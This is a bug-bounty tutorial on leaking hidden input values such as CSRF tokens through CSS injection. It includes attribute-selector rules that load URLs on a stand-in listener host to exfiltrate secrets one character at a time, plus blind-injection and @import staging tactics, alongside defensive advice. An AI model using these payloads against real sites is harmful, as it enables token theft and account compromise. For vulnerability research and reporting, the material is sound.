CSS Injection Data Exfiltration in Bug Bounty
CSS injection is easy to dismiss when <script> never executes. Yet CSS can conditionally load external resources based on DOM attributes. If a secret sits in a hidden input, meta attribute, or predictable element state, crafted selectors can leak it one character at a time.
This is not universal DOM reading. CSS cannot freely access text nodes or arbitrary JavaScript values. The secret must influence something selectors can match.
First prove style control
Find an input that lands inside a <style> block, a style attribute, a theme editor, or a user-customizable CSS file. Use a visible canary:
body { outline: 8px solid magenta; }
Then test whether you can create outbound requests:
body { background-image: url(https://listener.example/css-hit); }
Check CSP, mixed-content rules, URL rewriting, and whether the application proxies external images. Your Collaborator hit should include a unique token so cached requests do not confuse the result.
Attribute-selector exfiltration
Suppose the page renders:
<input type="hidden" name="csrf" value="a9f...">
A selector can test the first character:
input[name="csrf"][value^="a"] {
background: url(https://listener.example/first-a);
}
Generate rules for the expected alphabet. The browser requests only the URL whose selector matches. Repeat for longer prefixes, usually by updating injected CSS between page loads. Suffix selectors ($=) and substring selectors (*=) help when the page or injection lifecycle makes prefix extraction awkward.
Keep the proof tiny. Extract two or three characters from a token on your own account, then explain the scaling. Pulling an entire production secret creates unnecessary exposure and noisy traffic.
Blind injection changes the workflow
You may never view the affected page. An admin opens a support ticket containing your CSS, and your listener receives selector hits. Start with one unconditional URL to prove rendering, followed by a single conditional rule tied to a marker you placed in your own test ticket.
@import can stage payloads from an external stylesheet when inline length is limited. Chained imports can adapt based on incoming hits, but browser caching and parallel loads make extraction unreliable. A fixed batch of selectors is easier to explain to triage.
Boundaries hunters should state
CSS usually cannot read an HttpOnly cookie; cookies are not DOM attributes. It also cannot inspect hidden input values if the framework stores tokens only in JavaScript memory. React text content is not directly selectable by value. Custom fonts and advanced rendering side channels exist, but they are fragile and far riskier to test.
Impact rises when CSS reaches CSRF tokens, password-reset values rendered in HTML, internal IDs, or admin-only metadata. Pure visual defacement is lower. External requests can also reveal the victim's IP and page-view timing, but do not call that account takeover.
Defenses and report evidence
Include the injection source, resulting DOM/CSS, CSP header, listener logs, extracted canary characters, and victim role. Recommend context-aware output encoding, removing arbitrary CSS customization, sanitizing style input with a strict property/value allowlist, and a CSP that restricts style-src, img-src, and font-src. Blocking one property is whack-a-mole.
OWASP's XSS overview explains why untrusted active content is dangerous, though CSS injection has narrower capabilities than JavaScript. Say exactly which DOM attribute your selectors can test. Precision makes a “no script” report credible.